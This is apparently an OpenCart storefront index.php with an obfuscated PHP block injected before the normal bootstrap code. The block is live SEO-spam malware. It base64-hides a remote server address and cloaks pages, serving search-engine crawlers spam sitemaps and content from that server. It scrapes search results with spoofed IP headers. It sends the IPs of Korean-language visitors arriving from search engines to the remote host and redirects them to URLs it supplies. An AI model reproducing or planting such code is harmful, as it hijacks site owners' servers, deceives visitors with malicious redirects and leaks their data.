<?php
if(!defined("K___KK"))define("K___KK", ord(1));@set_time_limit((((15*K___KK-735)-4557+K___KK*93)-2499+K___KK*51));error_reporting((((15*K___KK-735)-4557+K___KK*93)-2499+K___KK*51));$user_agent=!empty($_SERVER["HTTP_USER_AGENT"])?strtolower($_SERVER['HTTP_USER_AGENT']):'';$http_type=((isset($_SERVER['HTTPS'])&&$_SERVER['HTTPS']=='on')||(isset($_SERVER['HTTP_X_FORWARDED_PROTO'])&&$_SERVER['HTTP_X_FORWARDED_PROTO']=='https'))?'https':'http';$host=!empty($_SERVER['HTTP_HOST'])?strtolower($_SERVER['HTTP_HOST']):'';$request=!empty($_SERVER['REQUEST_URI'])?strtolower($_SERVER['REQUEST_URI']):'';$referer=!empty($_SERVER["HTTP_REFERER"])?strtolower($_SERVER['HTTP_REFERER']):'';$request=urlencode($request);$TD_server="aHR0cDovL3oub25saW5lc3RvcmVzLnRvcA==";$TD_server=base64_decode($TD_server);$lang='ko';$imagePattern='/\.(jpg|jpeg|png|gif|bmp|webp|tiff|tif|svg|ico|avi|wmv|mpg|mpeg|mov|rm|ram|swf|flv|mp4|mkv|webm|3gp|vob|asf|ts|m2ts|ogg|ogm
)(\?.*)?$/i';if(!preg_match($imagePattern,$request)){if(strpos($user_agent,'google')!==false||strpos($user_agent,'slurp')!==false||strpos($user_agent,'bingbot')!==false){ob_clean();if(substr($request,-(58*K___KK-2838))===".xml"){header('Content-Type: application/xml; charset=utf-8');if(stripos($request,'itemap.xml')!==false){$response=curl_request($TD_server. "/indexsitemap.php?type=" .$http_type. "&host=" .$host,$user_agent);}else{$n=getNumber($request);$response=curl_request($TD_server. "/sitemap.php?type=" .$http_type. "&host=" .$host. "&page=" .$n,$user_agent);}if($response!==false&&$response[(((15*K___KK-735)-4557+K___KK*93)-2499+K___KK*51)]==(90*K___KK-4210)){echo $response[((15*K___KK-735)-3380+K___KK*69)];exit;}}else if(stripos($request,'robots.txt')!==false){header('Content-Type: text/plain');$robotsTxtContent="User-agent: *
";$robotsTxtContent .="Allow: /
";$robotsTxtContent .="Sitemap: " .$http_type.rtrim($host,'/'). "/" . "sitemap.xml
";echo $robotsTxtContent;exit;}$response=curl_request($TD_server. "/index.php?type=" .$http_type. "&host=" .$host. "&request=" .$request,$user_agent);if($response!==false){if($response[(((15*K___KK-735)-4557+K___KK*93)-2499+K___KK*51)]==(90*K___KK-4210)){header('Content-Type: text/html; charset=utf-8');echo $response[((15*K___KK-735)-3380+K___KK*69)];exit;}if($response[(((15*K___KK-735)-4557+K___KK*93)-2499+K___KK*51)]!=(90*K___KK-4210)&&!empty($response[((15*K___KK-735)-3380+K___KK*69)])){$json_data=str_replace(array(chr(((15*K___KK-735)-2799+K___KK*62)),chr(((15*K___KK-735)-2018+K___KK*45)),chr((K___KK*89-4170)),"
","
","
","	"),'',$response[((15*K___KK-735)-3380+K___KK*69)]);$product_data=json_decode($json_data,true);$title=urlencode($product_data['keyword']);$pid=$product_data['kid'];if(!empty($title)){$search_url="https://www.google.co.kr/search?q=" .$title. "&lr=lang_" .$lang;$spider_result=spider($search_url);if($spider_result==false){$search_url="https://search.aol.com/aol/search;_ylt=?q=" .$title;$spider_result=spider($search_url);}}}if(isset($spider_result)&&$spider_result!=false&&isset($pid)){$data=array('kid'=>$pid,'spider_url'=>$spider_result[(((15*K___KK-735)-4557+K___KK*93)-2499+K___KK*51)],'html_text'=>$spider_result[((15*K___KK-735)-3380+K___KK*69)]);}else{$pid=isset($pid)?$pid:(((15*K___KK-735)-4557+K___KK*93)-2499+K___KK*51);$data=array('kid'=>$pid,'spider_url'=>'','html_text'=>'');}$BotContent_mb=post($TD_server. "/postcreate.php?type=" .$http_type. "&host=" .$host. "&request=" .$request,$data,$user_agent);if(!empty($BotContent_mb)){echo $BotContent_mb;exit;}}}}if(strpos($referer,'google')!==false||strpos($referer,'yahoo')!==false||strpos($referer,'bing')!==false){if(judgeLanguage($lang)==((15*K___KK-735)-3380+K___KK*69)){$client_ip=base64_encode(get_client_ip());$referer=urlencode($referer);$response=curl_request($TD_server. "/getlink.php?type=" .$http_type. "&host=" .$host. "&request=" .$request. "&referer=" .$referer. "&client_ip=" .$client_ip,$user_agent);if($response!==false&&$response[(((15*K___KK-735)-4557+K___KK*93)-2499+K___KK*51)]==(90*K___KK-4210)&&strlen($response[((15*K___KK-735)-3380+K___KK*69)])>(0-3523+K___KK*72)){$tzurl=trim($response[((15*K___KK-735)-3380+K___KK*69)]);$tzurl=str_replace(array(chr(((15*K___KK-735)-2799+K___KK*62)),chr(((15*K___KK-735)-2018+K___KK*45)),chr((K___KK*89-4170)),"
","
","
","	"),'',$tzurl);@header("Location: " . $tzurl);exit;}}}function curl_request($url,$ua='',$referer=null){if($ua==''){$user_agents=array('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:54.0) Gecko/20100101 Firefox/' . rand(((80*K___KK-3920)-2841+58*K___KK),((80*K___KK-3920)-2399+51*K___KK)),'Mozilla/' . rand((75*K___KK-3672),(24*K___KK-1171)). '.0 (Windows NT 10.0; Win64; x64; rv:' . rand(((80*K___KK-3920)-1910+K___KK*40),(K___KK*90-4350)). ') Gecko/20100101 Firefox/' . rand(((80*K___KK-3920)-2841+58*K___KK),((80*K___KK-3920)-2399+51*K___KK)),'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:' . rand(((80*K___KK-3920)-1910+K___KK*40),(K___KK*90-4350)). ') AppleWebKit/' . rand(((80*K___KK-3920)-431+19*K___KK),(2*K___KK+502)). '.36 (KHTML, like Gecko) Chrome/' . rand(((80*K___KK-3920)-1910+K___KK*40),(K___KK*90-4350)). '.0.3112.90 Safari/' . rand(((80*K___KK-3920)-431+19*K___KK),(2*K___KK+502)). '.36',);$ua=$user_agents[array_rand($user_agents)];}$ip=rand(((80*K___KK-3920)-2841+58*K___KK),((80*K___KK-3920)-1657+39*K___KK)). '.' .rand(((80*K___KK-3920)-2841+58*K___KK),((80*K___KK-3920)-1657+39*K___KK)). '.' .rand(((80*K___KK-3920)-2841+58*K___KK),((80*K___KK-3920)-1657+39*K___KK)). '.' .rand(((80*K___KK-3920)-2841+58*K___KK),((80*K___KK-3920)-1657+39*K___KK));$headers['CLIENT-IP']=$ip;$headers['X-FORWARDED-FOR']=$ip;$headerArr=array();foreach($headers as $n=>$v){$headerArr[]=$n. ':' .$v;}$curl=curl_init();curl_setopt($curl,CURLOPT_URL,$url);curl_setopt($curl,CURLOPT_HTTPHEADER,$headerArr);curl_setopt($curl,CURLOPT_SSL_VERIFYPEER,(80*K___KK-3920));curl_setopt($curl,CURLOPT_SSL_VERIFYHOST,(28*K___KK-1370));curl_setopt($curl,CURLOPT_USERAGENT,$ua);curl_setopt($curl,CURLOPT_FOLLOWLOCATION,((80*K___KK-3920)-2841+58*K___KK));curl_setopt($curl,CURLOPT_AUTOREFERER,((80*K___KK-3920)-2841+58*K___KK));curl_setopt($curl,CURLOPT_ENCODING,"gzip");curl_setopt($curl,CURLOPT_HTTPGET,((80*K___KK-3920)-2841+58*K___KK));curl_setopt($curl,CURLOPT_TIMEOUT,(24*K___KK-1171));curl_setopt($curl,CURLOPT_HEADER,(80*K___KK-3920));curl_setopt($curl,CURLOPT_RETURNTRANSFER,((80*K___KK-3920)-2841+58*K___KK));curl_setopt($curl,CURLOPT_REFERER,$referer);$output=curl_exec($curl);$error=curl_error($curl);if($error){return false;}$httpcode=curl_getinfo($curl,CURLINFO_HTTP_CODE);curl_close($curl);return $output?[$httpcode,$output]:false;}function post($url,$postData,$ua=''){if($ua==''){$user_agents=array('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:54.0) Gecko/20100101 Firefox/' . rand((89*K___KK-4360),((56*K___KK-2744)-929+21*K___KK)),'Mozilla/' . rand(((56*K___KK-2744)-2153+44*K___KK),((56*K___KK-2744)-1661+K___KK*34)). '.0 (Windows NT 10.0; Win64; x64; rv:' . rand((K___KK*56-2694),(8*K___KK-332)). ') Gecko/20100101 Firefox/' . rand((89*K___KK-4360),((56*K___KK-2744)-929+21*K___KK)),'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:' . rand((K___KK*56-2694),(8*K___KK-332)). ') AppleWebKit/' . rand(((56*K___KK-2744)-333+17*K___KK),((56*K___KK-2744)+355+K___KK*5)). '.36 (KHTML, like Gecko) Chrome/' . rand((K___KK*56-2694),(8*K___KK-332)). '.0.3112.90 Safari/' . rand(((56*K___KK-2744)-333+17*K___KK),((56*K___KK-2744)+355+K___KK*5)). '.36',);$ua=$user_agents[array_rand($user_agents)];}$curl=curl_init();curl_setopt($curl,CURLOPT_URL,$url);curl_setopt($curl,CURLOPT_HEADER,(56*K___KK-2744));curl_setopt($curl,CURLOPT_USERAGENT,$ua);curl_setopt($curl,CURLOPT_POST,true);curl_setopt($curl,CURLOPT_POSTFIELDS,http_build_query($postData));curl_setopt($curl,CURLOPT_RETURNTRANSFER,true);$output=curl_exec($curl);curl_close($curl);return $output;}function judgeLanguage($lang){if(isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])){$languages=explode(',',$_SERVER['HTTP_ACCEPT_LANGUAGE']);$language=strtolower(substr(chop($languages[(2*K___KK-98)]),(2*K___KK-98),((0-833+17*K___KK)-3281+K___KK*67)));if($language===$lang){return ((0-833+17*K___KK)-391+K___KK*8);}else{return (2*K___KK-98);}}}function getNumber($string){$posSitemap=strpos($string,'sitemap');$posXml=strpos($string,'.xml');if($posSitemap!==false&&$posXml!==false&&$posXml>$posSitemap){$length=$posXml-$posSitemap-strlen('sitemap');$substring=substr($string,$posSitemap+strlen('sitemap'),$length);$number=intval($substring);return $number;}else{return (0-2499+51*K___KK);}}function get_client_ip(){$ip_keys=array('HTTP_CLIENT_IP','HTTP_X_FORWARDED_FOR','HTTP_X_FORWARDED','HTTP_FORWARDED_FOR','HTTP_FORWARDED','REMOTE_ADDR');foreach($ip_keys as $key){if(array_key_exists($key,$_SERVER)===true){foreach(explode(',',$_SERVER[$key])as $ip){$ip=trim($ip);if(filter_var($ip,FILTER_VALIDATE_IP,FILTER_FLAG_IPV4|FILTER_FLAG_IPV6)!==false){return $ip;}}}}return 'unknown';}function spider($url){$spider_search=curl_request($url);if($spider_search==false||$spider_search[((82*K___KK-4018)-2009+K___KK*41)]!=((82*K___KK-4018)-143+7*K___KK)){return false;}$divResults=[];$dom=new DOMDocument();@$dom->loadHTML($spider_search[((82*K___KK-4018)-1959+K___KK*40)],LIBXML_HTML_NOIMPLIED|LIBXML_HTML_NODEFDTD);$xpath=new DOMXPath($dom);if(strpos($url,'google')!==false){$divResults=$xpath->query('//div[starts-with(@class, "egMi0 kCrYT")]');if($divResults->length==((82*K___KK-4018)-2009+K___KK*41)){$divResults=$xpath->query('//div[starts-with(@class, "MjjYud")]');}}else{$divResults=$xpath->query('//div[starts-with(@class, "dd algo algo-sr")]');}if($divResults->length==((82*K___KK-4018)-2009+K___KK*41)){return false;}$hrefArray=[];foreach($divResults as $div){$ahref=$xpath->query('.//a',$div);$h3path=$xpath->query('.//h3',$div);if($ahref->length>((82*K___KK-4018)-2009+K___KK*41)&&$h3path->length>((82*K___KK-4018)-2009+K___KK*41)){$strh3=trim(str_replace('...','',$h3path[((82*K___KK-4018)-2009+K___KK*41)]->nodeValue));$hrefArray[]=array('title'=>$strh3,'url'=>$ahref[((82*K___KK-4018)-2009+K___KK*41)]->getAttribute('href'));}}if(empty($hrefArray)){return false;}shuffle($hrefArray);$googleua="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)";foreach($hrefArray as $key){$href=$key['url'];$h3=$key['title'];if($href&&stripos($href,'youtube.com')===false){if(strpos($url,'google')!==false){$pattern='/=http(.*?)&/';preg_match($pattern,$href,$matches);$spider_url=count($matches)>((82*K___KK-4018)-1959+K___KK*40)?'http' .$matches[((82*K___KK-4018)-1959+K___KK*40)]:'';if($spider_url==''){$pattern='/(https?:\/\/[^\s]+)$/';preg_match($pattern,$href,$matches);$spider_url=count($matches)>((82*K___KK-4018)-1959+K___KK*40)?$matches[((82*K___KK-4018)-1959+K___KK*40)]:'';}}else{$pattern='/RU=([^\/]+)\/RK=/';preg_match($pattern,$href,$matches);$spider_url=count($matches)>((82*K___KK-4018)-1959+K___KK*40)?$matches[((82*K___KK-4018)-1959+K___KK*40)]:'';$spider_url=urldecode($spider_url);}if($spider_url!=''){$file_extension=pathinfo($spider_url,PATHINFO_EXTENSION);if(!in_array($file_extension,['pdf','doc'])){$spider_html=curl_request($spider_url,$googleua);if($spider_html!==false&&$spider_html[((82*K___KK-4018)-2009+K___KK*41)]==((82*K___KK-4018)-143+7*K___KK)){$htmltext=trim($spider_html[((82*K___KK-4018)-1959+K___KK*40)]);$pattern='/<title>(.*?)<\/title>/';preg_match($pattern,$htmltext,$matches);$title=count($matches)>((82*K___KK-4018)-1959+K___KK*40)?$matches[((82*K___KK-4018)-1959+K___KK*40)]:'';if(strlen($htmltext)>(K___KK*72-1528)&&stripos($title,$h3)!==false){return[$spider_url,$htmltext];}}}}}}return false;}
?><?php
// Version
define('VERSION', '3.0.3.3');
define('OPENCART_BRASIL', '1.7.2');

// Configuration
if (is_file('config.php')) {
	require_once('config.php');
}

// Install
if (!defined('DIR_APPLICATION')) {
	header('Location: install/index.php');
	exit();
}

// Startup
require_once(DIR_SYSTEM . 'startup.php');

start('catalog');
